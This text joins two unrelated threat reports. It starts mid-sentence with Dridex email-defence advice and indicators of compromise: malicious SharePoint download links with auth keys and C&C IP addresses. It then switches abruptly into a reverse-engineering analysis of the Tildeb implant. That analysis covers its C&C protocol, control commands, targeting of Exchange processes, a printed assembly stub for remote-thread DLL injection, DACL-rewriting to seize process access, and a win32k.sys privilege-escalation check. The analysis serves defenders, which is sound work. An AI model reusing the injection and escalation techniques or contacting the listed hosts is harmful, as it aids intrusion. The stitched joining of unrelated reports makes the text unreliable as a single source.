Policy Framework) for domain names that intend to send emails to your users. Reject emails whose sender IP address does not match the sending domain's SPF record (inbound mail). Implement an SPF record for your own domain name(s) to prevent miscreants from spoofing emails pretending to come from your domain (outbound mail). Use DKIM (DomainKeys Identified Mail) and DMARC (Domain-based Message Authentication, Reporting & Conformance) for inbound spam filtering (inbound mail). Sign outgoing emails from your network to the internet with DKIM and DMARC (outbound mail). Further information and mitigation strategies can be found on our website. ## Indicators of Compromise (IOC) Below is a list of indicators of compromise (IOC) that may help you to spot Dridex infected computers in your network. **JS download:** - https://jensenbowers-my.sharepoint.com/personal/leeanderson_jensenbowers_com_au/_layouts/15/download.aspx?docid=068187f5a930340c89e3b7c5c9b9c24f7&authkey=AarHUbAy66DSX08VzRPQ25w - https://yemposolutions-my.sharepoint.com/personal/amor_novicio_yempo-solutions_com/_layouts/15/guestaccess.aspx?docid=0ce03b9fd12d949cf91f56a7d1fbf4b93&authkey=ASOCPusN_QaBSXcCPxEkT9s **Dridex payload:** - https://talofinancial-my.sharepoint.com/personal/ashleigh_schipp_talofinancial_com_au/_layouts/15/guestaccess.aspx?docid=07697c8afb3e544808bf527394eb7154b&authkey=Adh6QVItbnSLOpXvxh_BfCs **Dridex botnet command & control servers (C&C):** - 109.235.76.95:1843 - 136.243.209.34:443 - 159.226.92.9:4431 - 198.167.136.139:443 - 209.20.67.87:5353 - 194.150.118.25:3101
# File and Code Characteristics The implant has the following file characteristics: - **File name:** clocksvc.exe - **Compiled as:** 32-Bit – Console Windows executable - **Accepts command-line arguments** - **Compilation timestamp:** October 3, 2000 – 21:01:55 - **MD5-hash:** 9812a5c5a89b6287c8893d3651b981a0 - **SHA-256:** c1bcd04b41c6b574a5c9367b777efc8b95fe6cc4e526978b7e8e09214337fac1 - **File size:** 57344 bytes It has been 18 years since the implant was compiled, but it’s possible that it may have been created earlier considering the time it took to develop and the number of iterations it might have gone through. Although we cannot say that the compilation timestamp is accurate, it is unlikely to be a forged value considering the environment it targets and the compiler version used. Moreover, the implant is developed using the C language, with the C++ part restricted to the Windows Foundation Class (MFC) library, that is, mfc42.dll. The MFC library is primarily used for network communications and compiled using Microsoft Visual C++ v6.0. Tildeb’s code is not obfuscated in any way and thus has no anti-disassembly and anti-debugging features, encrypted strings, or similar obfuscation techniques. # Infection Vector and Relation to Other Files Since Tildeb is positioned as a stand-alone implant, we couldn’t link it to any other files from the leak even while searching for various artifacts from the implant. However, a search by filename in the rest of the leak’s dump shows the table “ProcessInformation” in the database file, \windows\Resources\Ops\Databases\SimpleProcesses.db, with the following: | Name | Comment | Type | |---------------|--------------------|------| | clocksvc.exe | *** PATROLWAGON *** | SAFE | It is likely that “PATROLWAGON” is a moniker for an unknown exploitation framework or some other tool that works in conjunction with Tildeb that is yet to be discovered. The DB Table “ProcessInformation” contains a variety of legitimate and known process names and different types. “Type” takes either of the following values: NONE, MALICIOUS_SOFTWARE, SECURITY_PRODUCT, CORE_OS, ADMIN_TOOL, and SAFE. Of interest is the SAFE type, which shows process names that map to known exploitation frameworks and tools such as UNITEDRAKE, MOSSFERN, EXPANDINGPULLY, GROK, FOGGYBOTTOM, MORBIDANGEL, and others. It is unknown how Tildeb gets delivered onto a targeted system, but it would not be surprising if it’s delivered via lateral movement or through some of the other exploitation frameworks that have RCE modules targeting Windows NT. # Command Line Options Tildeb is a console-based executable that can take command-line arguments. Since it doesn’t use MFC’s WinMain function, it instead calls AfxWinInit directly to initialize MFC upon execution. It successfully terminates itself if it fails. The implant can take argument 0, 1, 2, 3, or 4 (excluding argv[0]) at once. Each serves a specific purpose: - **Case – 0:** If executed without any arguments, it uses the hardcoded IP address 137.140.55.211 and port 25 to communicate with its C&C server. - **Case – 1:** It expects an IP/domain address to connect to as the C&C server. - **Case – 2:** The first argument is the same as in case – 1. The second argument is the port number to connect over. - **Case – 3:** The first two arguments are the same as in case – 2. The third argument is the port it uses for creating a Transmission Control Protocol (TCP) socket in listening mode for accepting an ingress connection in case the egress connection fails (cases: 0, 1, 2). The default listening port is hardcoded to 1608. - **Case – 4:** The first three arguments are the same as in case – 3. The fourth argument takes the value -ju that sets a global variable to 1. This instructs the implant to attempt elevating privileges in order to inject code into a Microsoft Exchange Server process. # Cleanup Thread and Main Process Cleanup Code After checking for any command line arguments, Tildeb will sleep for 4.096 seconds. This is followed by setting a global variable, which we’ve referred to as up_time, with the current time since the Epoch (in seconds). It then initializes and sets two Security Descriptors discretionary access control lists (DACL) to NULL, which allows access to two objects. One is a mailslot it creates under the name \\.\mailslot\c54321. The handle of this object is set as such so it is not inheritable by a new process. Another is a temporary file it creates on the system under the name tmp<uuuu>.tmp. The handle of this object is set as such so it is inheritable by a new process. It subsequently attempts to initialize Windows Sockets and terminates itself if it fails to do so. Otherwise, it continues to create a global mutex object under the name nowMutex. The mutex is not created for ensuring only one instance of itself is running. In fact, there may be more than one instance running at the same time. The mutex is created solely for thread synchronization, that is, for signaling to the cleanup thread to acquire it. A mutex is a mutually exclusive object, and only one thread can own it at a time. Tildeb has a fail-aware thread responsible for housecleaning upon failure in specific operations in the code throughout the program lifetime. We’ve referred to this thread as the cleanup_thread. The synchronization between the main process thread and the cleanup_thread happens as follows. Initially, the main process thread is the owner of the mutex object nowMutex, which is in a non-signaled state at this point. At the same time, the cleanup_thread waits to acquire it indefinitely. For cleanup_thread to acquire the mutex, the owning thread releases it via the ReleaseMutex() application programming interface (API). When this happens, the mutex object becomes signaled and the cleanup_thread may acquire it. The release of the mutex object and the trigger of the cleanup process carried out by the cleanup_thread happen when Tildeb: - Fails to receive data from the C&C server (if the number of bytes received is 0). - Fails to create a process/execute a file (control command 0x20). - Successfully acquires the mutex object (if it is signaled by other thread); this is control command-dependent. When the cleanup_thread is created, it first attempts to set the thread’s priority to run only when the system is idle using the API SetPriorityClass(hThread, IDLE_PRIORITY_CLASS). However, the usage of this API in the context of the thread is not correct, as this pertains to process priority and not threads. The proper API would have been SetThreadPriority(hThread, THREAD_PRIORITY_IDLE). Therefore, the thread priority level will be that of the process thread priority, which is THREAD_PRIORITY_NORMAL. This mistake is present in every thread created by the implant. After setting the thread's priority, it goes into a while loop where the conditional exit is controlled via a global flag setting, which we’ve referred to as wayout_flag (initially this flag is set to 0). Inside the loop, it sleeps for 15 seconds on every iteration. To exit the while loop: - The state of the mutex object must be anything other than signaled. - More than 15 minutes have passed since the implant has started (this is also dependent on the up_time value). Once outside the while loop, it checks again if less than 15 minutes have passed. If so, it terminates the cleanup thread. Otherwise, it proceeds to close available handles, delete a temp file, shut down and close sockets, and terminate the process. Accordingly, the cleanup thread functions as a watchdog. If nothing happens that would influence its behavior in less than 15 minutes, the implant cleans after itself and is terminated. The main process thread signals the cleanup thread via the pseudocode, which also alters the process main thread’s continuous operation. The process thread first attempts to acquire the mutex and sets the wayout_flag flag if it is in a non-signaled state. Otherwise, it updates the up_time variable value with the current time, releases the mutex (thus becoming signaled for the cleanup thread to acquire it if possible), and then checks if the number of bytes received from the server is 0. If so, it sets the wayout_flag flag. The main process thread also goes through a similar cleanup procedure when it fails to receive data from the server by setting the wayout_flag flag, causing it to terminate itself. Note that Tildeb is not equipped with any persistence mechanism. It is unlikely that one will be created considering what the cleanup code does. # Network Communications All of the network sockets created to communicate with the C&C server is carried over the TCP protocol. Tildeb may establish either an ingress or egress connection with the server depending on which connection is established successfully. It uses the MFC Classes CAsyncSocket and CSocket for all network communications. First, it creates a TCP SOCK_STREAM with the list of events “FD_CLOSE | FD_CONNECT | FD_ACCEPT | FD_OOB | FD_WRITE | FD_READ”. However, there's nothing in the code that checks for these events. Without checking whether the socket is successfully created or not, it attempts to connect to it using the hardcoded IP address 137.140.55.211 over the default port number 25. It’s worth noting that despite the port number assignment, the implant does not communicate over the Simple Mail Transfer Protocol (SMTP). If the connection is successful, it proceeds to set the priority class of the process to NORMAL_PRIORITY_CLASS (no scheduling requirements). It then attempts to disable the Nagle algorithm for send coalescing using the option TCP_NODELAY for a non-created socket. Additionally, this same, non-existent socket is referenced three more times in the code (all designed to shut it down, making it likely that it's leftover code). It then sends the check-in message Success\x00 to the server then creates the cleanup_thread thread. If it fails to connect to the socket, it closes it and creates the cleanup_thread thread. It then creates another socket with similar attributes, but for accepting ingress connection over the default port 1608. The socket is created to listen on all network interfaces, expecting to receive the exact check-in message OK*3213 from the server. If the message does not match, the implant bails out. Once the socket is successfully created and the first plaintext packet is sent or received, Tildeb starts to set up a secure communication channel with the server such that all subsequent traffic is encrypted. To establish such a connection, it first expects to receive a buffer of 132 bytes, which we’ve referred to as R_A. Then, it creates a buffer of 132 bytes with pseudorandom data, which we’ve referred to as S_A. The first 128 bytes are the result of SHA-1 (modified version) hashing of different elements from the system such as cursor position, thread ID, thread times, process ID, memory status, system time, and performance counter among others. The 128 bytes are then compared against a hardcoded blob of 132 bytes. If the last dword value is greater than the last dword value of the hardcoded blob, the buffer is regenerated. This comparison is done backward (from last to first) by comparing a dword value from each buffer at a time until the condition fails. We’ll refer to this comparison as cmp_dw_bckwrd. The last 4 bytes (offsets: [0x88-0x83]) are always zero (this buffer of 132 bytes is first initialized to zero). **Hardcoded blob is:** ``` 13 E3 B7 E3 A0 C9 D9 CE 43 70 A4 54 CE 8D 7E C9 B5 B7 FB 86 E1 12 A9 B4 49 A4 96 97 E4 38 DC 2E 2D 1E F1 C9 80 C5 8F 2A 36 B3 07 E3 6B 85 DB 2E 5D 7E B8 39 E7 C9 4F DB 04 14 F3 C2 70 D7 4C 37 C7 54 86 55 F7 8A 31 B8 04 39 7D B5 F0 14 B8 F8 C1 8A 4F 3B A8 89 64 CF 10 82 5C 35 8D 06 16 81 B5 91 3A 17 E7 BC 1E 5B 44 C9 C6 D5 40 EB 74 D7 D6 2D B1 4F CE 29 00 A7 70 80 45 AB 7E 8F CF 2D 00 00 00 00 ``` Note that all of the blobs of bytes are stored as strings in the code and in the reverse order of what’s shown. Before use, each of them is converted to hex and then the bytes’ order is reversed to look like the aforementioned blob. The S_A buffer is further modified, and similar comparisons are done on it (with the fixed blob 02 00 00 00 00), and then sent to the server. The R_A buffer is then modified using the 128 pseudorandom bytes generated earlier for S_A and the blob 02 00 00 00 00. Later, the implant generates a seed key of 256 bytes (which we’ve referred to as Se_Ke), considering the modified R_A buffer. It then receives a buffer of 132 bytes from the server, which we’ve referred to as R_B. This buffer will then be modified with the hardcoded blob 4B A0 00 00 00 00 using the hardcoded “random” blob of 132 bytes: ``` 81 A6 B8 DB F3 55 4C B7 90 7A D9 FF 5C 4A ED C4 F8 94 5B EE 0A 32 DE A4 8B C3 40 60 BE 95 C7 67 43 AB 19 E3 23 DE EA 8E 92 24 4D ED 3C 05 FA C3 9E 4F 86 2F B7 AF 0B AD E6 D7 67 82 44 A7 7B 10 0C EA AB F5 88 9D E8 45 E3 DC 72 19 F6 75 19 07 50 0E 91 E4 05 CC 1D 11 FC CC 75 64 DA 10 A2 15 31 3D 1D 85 49 EB D2 74 88 7F 20 90 0E 86 58 7F 75 13 38 35 00 80 D2 20 73 0C 47 8F BD AD C9 E2 00 00 00 00 ``` Finally and for verification, it compares both the S_A and R_B buffers. Both have to match to send the status message Success\x00 (this is different from the check-in request described earlier). Otherwise, it sends the message Error\x00 to the server. In case the comparison fails, the implant bails out. These messages are sent XOR-encrypted with every key byte being unique. The generated key is dependent on the seed key Se_Ke. Subsequently, all further communications are XOR-encrypted. In a nutshell, this exchange of packets demonstrates the sharing of what looks like session keys that are client-server dependent. Each established TCP session with the server would generate a different set of encryption and decryption keys. Nevertheless, since only the XOR binary operator is used for encryption and decryption, having prior knowledge on the nature of the data being exfiltrated or received makes it possible to decrypt it. After setting up a secure communication channel, Tildeb is ready to receive control commands to perform various malicious activities on the infected system. # The Hardcoded IP Address 137.140.55.211 There is an interesting blunder in the way the IP address is hardcoded. It ends with 3-space characters as 137.140.55.211 \x00, then null terminated. Connecting to the IP address on specific versions of Windows OS works correctly but fails on others. There is a technical justification for this behavior. As noted earlier, the implant uses the MFC library for all network communications. To connect to the IP address, it uses the MFC API CAsyncSocket::Connect() located in the library mfc42.dll. Since MFC classes are just C++ wrappers for Windows APIs, the actual implementation of this function is in the Windows ntdll.dll library on, for example, Windows XP(SP3) and other operating systems. The functions that get called in an attempt to convert “a string containing an IPv4 address dotted-decimal address into a proper address for the in_addr structure.” As per Microsoft Developer Network’s (MSDN) documentation on the inet_addr() function, passing " " (a space) to the inet_addr function will return zero. In actuality, the inet_addr() function first checks if the first character in the passed string is a space character. If so, it checks if the next character in the string is the null terminated character \x00. If not, it proceeds to call the ntdll function RtlIpv4StringToAddressA(), which is responsible for parsing, sanitizing, and converting the passed string into a proper binary IPv4 address in network order. RtlIpv4StringToAddressA() checks if every character is in American Standard Code for Information Interchange (ASCII) or a digit. If it is in ASCII, it checks if it is the character \x2e (.). After a successful conversion, the Terminator parameter, which “receives a pointer to the character that terminated the converted string,” returns the space character as the terminating character. The code that follows in the function inet_addr() then checks whether it is the null \x00 terminating character. If not, it checks whether it is an ASCII character; if not, it fails. Otherwise, it continues to check if it is a space character. If so, it returns successfully; otherwise, the function fails. It is important to note that what contributes to the successful conversion in this case is the fact that the Strict parameter of RtlIpv4StringToAddressA() is set to false. It wouldn’t make sense otherwise in the context of Tildeb’s operation. MSDN defines the Strict parameter as follows: “A value that indicates whether the string must be an IPv4 address represented in strict four-part dotted-decimal notation. If this parameter is TRUE, the string must be dotted-decimal with four parts. If this parameter is FALSE, any of four possible forms are allowed, with decimal, octal, or hexadecimal notation.” This also works with Windows NT 4.0. The function inet_addr() has the actual similar implementation of RtlIpv4StringToAddressA(), but is less sophisticated. For Windows XP, the MFC’s Connect() function works properly. However, this is not the case for Windows 7. The chain of calls is different from that of Windows XP, as the file version of the MFC library file is different as well. The getaddrinfo() function is more sophisticated at accounting for different scenarios and more. The code within the function GetIp4Address() that’s responsible for checking the Terminator’s parameter value is notable. After successfully calling the function RtlIpv4StringToAddressW(), GetIp4Address() checks the Terminator value if it is the null character \x00 and only this character. If so, the function returns 1 (success). If it is anything other than \x00, the function fails, which is the case in this implant, that is, \x20. In this case, the setting of the Strict parameter doesn’t matter even if it's set to true. # Control Commands The core of Tildeb’s functionality lies in each of the control commands it supports. After establishing a secure connection with the C&C server, it goes into an infinite loop waiting to receive control commands. The receive function expects a buffer with a maximum length of 4194304 bytes. If no bytes are received from the server, it sets the flag wayout_flag. This leads to exiting the infinite loop, starting the cleanup process, and then eventually terminating itself. Tildeb supports a plethora of control commands, all in binary format. All communications are encrypted. There are also status messages that Tildeb sends to the server upon attempting to complete a given task/command. For example, when it receives a control command, or when attempting to get a handle to a file/mailslot, it sends the message .\x00 (a dot followed by the null terminating character) to the server after it successfully completes any of them. In case it fails, it sends the message Error\x00. Other analogous messages are sent to the server as well. The implant uses specific error codes represented as decimal values that it communicates back to the server upon failing to execute some fine-grained operations, and in particular while attempting to inject code into any of the Exchange Server processes. Furthermore, it sends the message ?\x00 (a question mark) to the server if it receives an unrecognizable control command. The following is a detailed description of each of the commands (in no particular order): - **0x403:** Deletes a file on the system using the DeleteFileA API. - **0x500:** Sends the word value 0x2e00 to the server. It expects to receive a buffer of 4 bytes, and if it fails (that is, no bytes were received), it sets the flag wayout_flag to 1. Otherwise, it sends back the same 4 bytes it received from the server. This command functions as a ping-pong check, ensuring that the connection with the server is healthy. - **0x1000:** Sets the flag wayout_flag to 1 for implant termination, and then sends the message Ok\x00 to the server. - **0x401:** Uploads a file to the server using C-runtime functions. It works by first getting the filename from the server, retrieving the size of the file on the system, and then sending it to the server. It then expects to receive data from the server. If the first byte in the payload is 0x2e, it uploads the file in question to the server (0x200 elements of size, 1 byte at a time), until the end-of-file is reached. If it is unable to get a handle to the file, it sends the dword value 0x00000000 (indicating the size) to the server. - **0x400:** Gets a list of files and folders in a given directory including current date and time, hostname, and files names with their last changed/modified attributes among others. It is saved to the disk in a temporary file, uploaded to the server, and then deleted. The upload function logic is the same as in control command 0x401. However, the difference is that this one uses Windows APIs instead of C-runtime functions. The following is an example of the temporary file’s content: ``` Collected on <hostname>, Sat Nov 24 21:37:16 2018 . Listing directory C:\interpol\*.* Sat Nov 24 21:35:09 2018 < DIR > . Sat Nov 24 21:35:09 2018 < DIR > .. Sun Jan 15 22:40:04 2012 1574 john_galt.pem Sun Jul 22 23:25:58 2012 < DIR > cia Sat Feb 25 23:43:54 2012 6102 eula.txt Sun Jul 22 23:25:54 2012 < DIR > fbi Sun Jul 22 23:52:42 2012 3249 us.cfg Tue Jul 17 05:32:14 2012 1002496 ru.exe Sun Jun 12 22:09:18 2011 2206720 cn.dll ``` In terms of how the temporary file is created, it first attempts to get the path to the installed MS ExchangeServer Mailbox from the registry. This is done by querying the Value of the Working Directory registry value name located under the Registry Key: HKLM, SubKey, System\CurrentControlSet\Services\MSExchangeIS\ParametersSystem. The value of the parameter Working Directory holds the path to MS ExchangeServer Mailbox. If successful, it creates a temporary file in the said directory/path under the name tmp<uuuu>.tmp (<uuuu> is an unsigned integer based on the current system time). Otherwise, it creates the file in the current user’s temporary folder under the same name. The created file is meant for writing, with temporary storage and sequential scan. - **0x380:** Sets MS Exchange “Background Cleanup” Registry Value with a value received from the server, then sends out the old value. The said value is located under the Registry Key HKLM, SubKey: System\CurrentControlSet\Services\MSExchangeIS\ParametersPrivate. The background cleanup process is responsible for recovering empty space used by attachments, deleted folders, and messages. The Registry ValueName Background Cleanup value (in milliseconds) controls at which rate this process’ task runs. - **0x20:** The primary function of this control command follows several steps: 1. It attempts to create a temporary file just as in control command 0x400. 2. It checks if a conditional flag is set to true, which it initially is. Then, it concatenates the path it retrieved in the first step with the server response value. For example, the path might look like %temp%\<server_response>. 2.1 It copies the final path derived in the second step into a global variable, which we’ve referred to as fname_s. This variable will be passed into the code injection function. 2.2 The conditional flag is set to 0. Thus, this flag is meant to be set only once during the implant’s runtime life. 2.3 If the conditional flag is not set, it would only concatenate the path it retrieved in the first step with the server response value. 3. It downloads data from the server and saves it into the file (as binary) created in the first step. The downloaded file is expected to be a cabinet-compressed (.cab) file. 4. It creates a process of the Windows expand utility for decompressing the file downloaded in the second step under a file name received from the server in the same directory of the created temporary file. 5. If process creation (step 4) is successful, it deletes the temporary file from the system. Otherwise, it sets the wayout_flag flag to 1 and deletes the temporary file. The rest of the control commands deal mainly with interprocess communications (IPC) using Windows’ mailslots mechanism as well as code injection into specific MS Exchange Server processes. The implant establishes two-way communication using two mailslots. The mailslot it creates or the one it reads from are not referenced in any of the other tools and utilities in the leak. Therefore, it is unknown what the other process is supposed to do, or how it is supposed to run as a process or as a standalone or child process. The following are the two mailslots referenced in the implant: | Mailslot name | Description | |----------------------------|-------------| | \\.\mailslot\c12345 | Tildeb is the client process. Created by another process. Tildeb writes to it. | | \\.\mailslot\c54321 | Tildeb is the server process. Created by Tildeb. It reads from it. | Mailslots communications are carried over using specific format messages, unique per control command. However, the general layout has the following structure: **Format Message:** '%ld %x',0Ah **Populated:** '6553 0x400000',0Ah The values 6553 and 0x400000 are hardcoded in the binary. The <control command> value is either hardcoded as per referenced control command or populated dynamically. <server_response_x> is data received from the C&C server. There could be multiple receive requests from the server, which will be concatenated with the previous one. The second line of the format message is unique to each command. Judging by the mailslot name form, the other processes that use those two mailslots have to reside on the same host of Tildeb’s process. - **0x300:** The format message has the following structure: - **Format Message:** '%ld %ls ',0 - **Populated:** '768 <server_response_a> <server_response_b>' Both values under <server_response_a> and <server_response_b> are received in two separate responses from the server. Based on the structure of the code, the value of <server_response_b> could be any of the following: pub.edb, priv.edb, or dir.edb. 1. For one-way interprocess communications (IPC), it creates a thread responsible for continuously attempting to write the formatted message to an already created mailslot (under the name \\.\mailslot\c12345) until successfully done so. The said mailslot is never created by Tildeb’s itself. It is unknown what the other process is that might be on the system or on the infected network that created this mailslot. 2. It creates a mailslot under the name \\.\mailslot\c54321 (the numbers 54321 are in reverse order of the mailslot referenced in the first step), for a maximum size of 4194304 bytes and a time-out value of 30 seconds. 3. Based on the last server response, it decides which process of MS Exchange Server to inject code into: | Server Response | Process Name | |------------------|--------------| | priv.edb | STORE.EXE | | pub.edb | STORE.EXE | | dir.edb | DSAMAIN.EXE | | kmsmdb.edb | KMSERVER.EXE | | <if no match> | STORE.EXE | Based on the server response, it injects code into the respective process. If the server responded with the string dir.edb and after successful code injection, it executes the code in the fifth step. 4. It receives data from the server and reads from the mailslot \\.\mailslot\c54321 into a buffer of 1024 bytes. If the first byte from the server response is \x2e, it attempts to upload the buffer’s content to the server using the same, exact upload function referenced in the control command 0x400. However, the upload function will fail since it expects a handle to the file to be uploaded. However, Tildeb passes the address of the buffer instead. 5. It closes the handle of the mailslot \\.\mailslot\c54321 and sets its value to zero. 6. It attempts to delete the buffer using the Windows API DeleteFileA. It commits the same mistake, since it is passing the address of the buffer and not a handle to a file. Below is a brief description of some of the referenced file names and processes of MS Exchange Server in this control command: - The EDB extension is "Exchange Information Store Database." - Prior to MS Exchange Server v5.5, there were three key DB files, and each contained: 1. PRIV.EDB: private information store (this is the actual mailbox content). 2. PUB.EDB: public information store (public folder). 3. DIR.EDB: list/directory of users with mailboxes on the server. - kmsmdb.edb: Key Management Security DB. This file is associated with MS Exchange Server 5.5, and in particular the Key Management Server. - DSAMAIN.EXE: This is part of active directory management tools. It allows mounting a shadow copy snapshot or backup of the Active Directory DB file ntds.dit. Moreover, it allows browsing the data using standard admin tools such as Active Directory Users and Computers (ADUC) and snap-in. - STORE.EXE: Microsoft Exchange MDB Store, responsible for enabling mail sessions opened by different clients. - **0x290 OR 0x291 OR 0x292:** The format message has the following structure: - **Format Message:** '%ld %2x %2x %2x %2x %2x %2x %2x %2x' - **Populated:** '<control command> <s_r[0]> <s_r[1]> <s_r[2]> <s_r[3]> %2x %2x %2x %2x' The bytes s_r[0], s_r[1], s_r[2] and s_r[3] are received from the server. The last 4 bytes are never set anywhere in the code. Then, it performs steps 2-7 (code is injected into the STORE.EXE process) similar to control command 0x300, but it writes this control command’s formatted string to the mailslot instead. - **>= 0x285:** The format message has the following structure: - **Format Message:** '%ld %2x %2x %2x %2x %2x %2x %2x %2x %2x' - **Populated:** '0x285 <s_r[0]> <s_r[1]> <s_r[2]> <s_r[3]> %2x %2x %2x %2x 1' The value 0x285 is hardcoded and it represents the actual control command. The bytes s_r[0], s_r[1], s_r[2] and s_r[3] are received from the server. The bytes highlighted above are never set anywhere in the code. If the control command is > 0x285, formatted string is set to: - **Format Message:** '%ld %2x %2x %2x %2x %2x %2x %2x %2x %2x' - **Populated:** '<(control command -1)> <s_r[0]> <s_r[1]> <s_r[2]> <s_r[3]> %2x %2x %2x %2x 0' The highlighted bytes are never set anywhere in the code. It performs steps 2-7 (code is injected into STORE.EXE process) similar to control command 0x300, but it writes this control command’s formatted string to the mailslot instead. - **0x206 OR 0x207:** The format message has the following structure: - **Format Message:** '%ld %2x %2x %2x %2x %2x %2x %2x %2x' - **Populated:** '<(control command -2)> <s_r[0]> <s_r[1]> <s_r[2]> <s_r[3]> %2x %2x %2x %2x' The bytes s_r[0], s_r[1], s_r[2] and s_r[3] are received from the server. The last 4 bytes are never set anywhere in the code. The first formatted string is populated independently of the second. The second formatted string (rhs) is concatenated with the first one x (condition value) number of times in a for-loop that keeps on concatenating the second string to the first until the condition evaluates to false. The condition value is received from the server prior to the concatenation. Moreover, on every iteration inside the for-loop, the values of the second string s_r[] are populated with new data from the server. It then performs steps 2-7 (code is injected into STORE.EXE process) as that of control command 0x300, but it writes this control command’s formatted string to the mailslot instead. - **0x290 OR 0x291 OR 0x292:** The format message has the following structure: - **Format Message:** '%ld %ls ' - **Populated:** '<control command> <server_response> ' Then, concatenates <server_response_b> '<control command> <server_response_a> <server_response_b>' Then concatenate: ' %x %x' '<control command> <server_response_a> <server_response_b> %x <server_response_c>' The highlighted byte is never set anywhere in the code, and the second is received from the server (maximum length of 8 bytes). It then performs steps 2-7 (code is injected into STORE.EXE process) similar to control command 0x300, but it writes this control command’s formatted string to the mailslot instead. - **0x280:** It downloads a file from the server onto the infected system. The file is saved on disk under a temporary file name. File path and name is retrieved and constructed in the same way as that of control command 0x400. We've referred to the full path and name of the downloaded file as dwldd_file. The format message has the following structure: - **Format Message:** '%ld %2x %2x %2x %2x %2x %2x %2x %2x %s' - **Populated:** '<control command> <s_r[0]> <s_r[1]> <s_r[2]> <s_r[3]> %2x %2x %2x %2x <dwldd_file>' The highlighted bytes are never set anywhere in the code. It then performs steps 2-7 (code is injected into STORE.EXE process) similar to control command 0x300, but it writes this control command’s formatted string to the mailslot instead. After step 7, it also deletes the download file dwldd_file. - **0x281:** The same implementation of the control command 0x280. - **0x204:** The same implementation of the control commands 0x290, 0x291, and 0x292. - **0x203:** The same implementation of the control command 0x300 except that the <control command> is hardcoded in the formatted string as 515 instead of being referenced. Additionally, the formatted string is different and has the following structure: '0x203 <server_response_a> <server_response_b>' - **0x202:** The same implementation of the control command 0x300 except that the <control command> is hardcoded in the formatted string as 514. For the fourth step, code is injected into the STORE.EXE process. - **0x201:** The same implementation of the control command 0x300, except that the <control command> is hardcoded in the formatted string as 513. For the fourth step, code is injected into the STORE.EXE process. Moreover, the formatted string is as follows (nothing is concatenated with the server response): '%ld ' '513 ' # Code Injection Function This function first checks if the available physical memory on the system and the maximum amount of memory the Tildeb process can commit is less than 33554432 bytes (~33.55 Mb). If so, then no attempt at code injection happens. ```c GlobalMemoryStatus(&Buffer); if ( Buffer.dwAvailPhys + Buffer.dwAvailPageFile < 33554432 ) { return -4; // error_code } ``` To get the process’ (‘injectee’) unique process ID, it uses the API NtQuerySystemInformation(), passing it the SystemInformationClass value from SystemProcessInformation. The targeted process is supposed to be running on the system already. It then attempts to get a handle to the process in question by requesting the following list of desired access rights (using the OpenProcess() API): PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, and PROCESS_QUERY_INFORMATION. If unsuccessful, it attempts to acquire them using either of two methods. Before attempting code injection, the implant compares the image base address of the module Kernel32.dll for the same process. One is retrieved via a pseudohandle to the process and the other via the actual process ID. If the base addresses do not match, code injection does not take place. It is unknown why the malware enforces such comparison, or under what scenario it is supposed to fail. The implant retrieves the image base address of the module Kernel32.dll through either of the following two methods: 1. Using the API NtQuerySystemInformation(), passing it the SystemInformationClass value from ProcessBasicInformation, which returns the structure _PROCESS_BASIC_INFORMATION. This is done by parsing the structures data members _PEB.Ldr → _PEB_LDR_DATA.InMemoryOrderModuleList → LDR_DATA_TABLE_ENTRY. DllBase. 2. Using the API NtQuerySystemInformation(), passing it the SystemInformationClass value from SystemModuleInformation, which returns the structure RTL_PROCESS_MODULES. This structure is not publicly documented by Microsoft in the MSDN library. However, the malware parses it to locate the ImageBase field. The second method is only reachable if the process pseudohandle or ID value is zero, which is unclear in this context. Once all checks are passed, it injects the following code into the targeted process: ```c injected_code proc near push esi push edi mov edi, [esp+8+PtrLoadLibraryA] lea eax, [edi+8] push eax // fname_s (path to downloaded module) call dword ptr [edi] // LoadLibraryA mov esi, eax test esi, esi jz short ret_zero push esi call dword ptr [edi+4] // FreeLibrary ret_zero: mov eax, esi pop edi pop esi retn 4 injected_code endp ``` The code above is responsible for loading and freeing a library module downloaded from the server (as shown in control command 0x20) into the address space of the targeted process. Note that the addresses of the APIs LoadLibraryA() and FreeLibrary() are resolved dynamically prior to injection, and then their addresses are injected accordingly. Nothing stands out with respect to the code responsible for injection. It is done by committing a region of memory of size (injected code size (32) + 531 = 563 bytes) within the virtual address space of the targeted process, with the memory protection for the regions to be allocated set to PAGE_EXECUTE_READWRITE. Copying and starting the code into the targeted process is done via the standard APIs WriteProcessMemory(), CreateRemoteThread(), and WaitForSingleObject(hThread, 0xFFFFFFFF). The methods it tries in case Tildeb doesn’t have the specified access rights to the process object are as follows: 1. It attempts to add the GENERIC_ALL (the right to read, write, and execute the object) access-allowed Access Control Entry (ACE) to the security identifier of the account named Everyone on the system. Then, it tries to set/update the DACL_SECURITY_INFORMATION (discretionary access control list) for object SE_KERNEL_OBJECT of the targeted process with the new ACE, that is, GENERIC_ALL. If Tildeb is still unable to acquire those access rights after executing this step, it attempts to perform the same action on two other accounts that are Domain Users and the name of the user associated with the current thread. 2. If all of the actions in the first step fail, the implant attempts to exploit an unknown escalation-of-privileges (EoP) vulnerability in the driver win32k.sys. This feature targets very specific versions of win32k.sys. It checks for those versions by comparing the CRC-32 checksum of the file on the infected system against the following list of hardcoded checksums: | Hardcoded CRC-32 Checksum | Description | |----------------------------|-------------| | 0x49FBEA88 | Unknown | | 0xE6C42541 | MS Windows NT 4.0 (Service Pack 3) | | 0xF86E4DDE | Unknown | | 0x6ED9164 | Unknown | | 0x5CB13093 | Unknown | | 0x9CEE7C76 | Unknown | | 0x4DBBF9E2 | Unknown | | 0x9B93E1D1 | Unknown | | 0x3C862693 | Unknown | | 0x6C2CB34C | MS Windows NT 4.0 (Service Pack 6a) | | 0x8E1E220D | MS Windows NT 4.0 (Service Pack 6) | We were only able to map three of the checksums to their respective OS versions. Moreover, this EoP is attempted only on systems with specific locale (default country). The temporary file ~debl00l.tmp is created in the same directory of the implant, and after exploitation. It includes the following information: ``` ver= <unique value assigned by the implant based on the default country code> ccode=<LOCALE_IDEFAULTCOUNTRY> CRC=<crc-32 checksum value of “%windir%\system32\win32k.sys”> ``` # Conclusion Tildeb is a sophisticated implant that utilizes various techniques for communication, command execution, and code injection. Its reliance on hardcoded values, specific system characteristics, and the use of MFC for network communications highlights its targeted nature and the potential for exploitation in specific environments. The lack of persistence mechanisms suggests a focus on immediate exploitation rather than long-term presence, making it a notable threat in the landscape of malware targeting Windows systems.
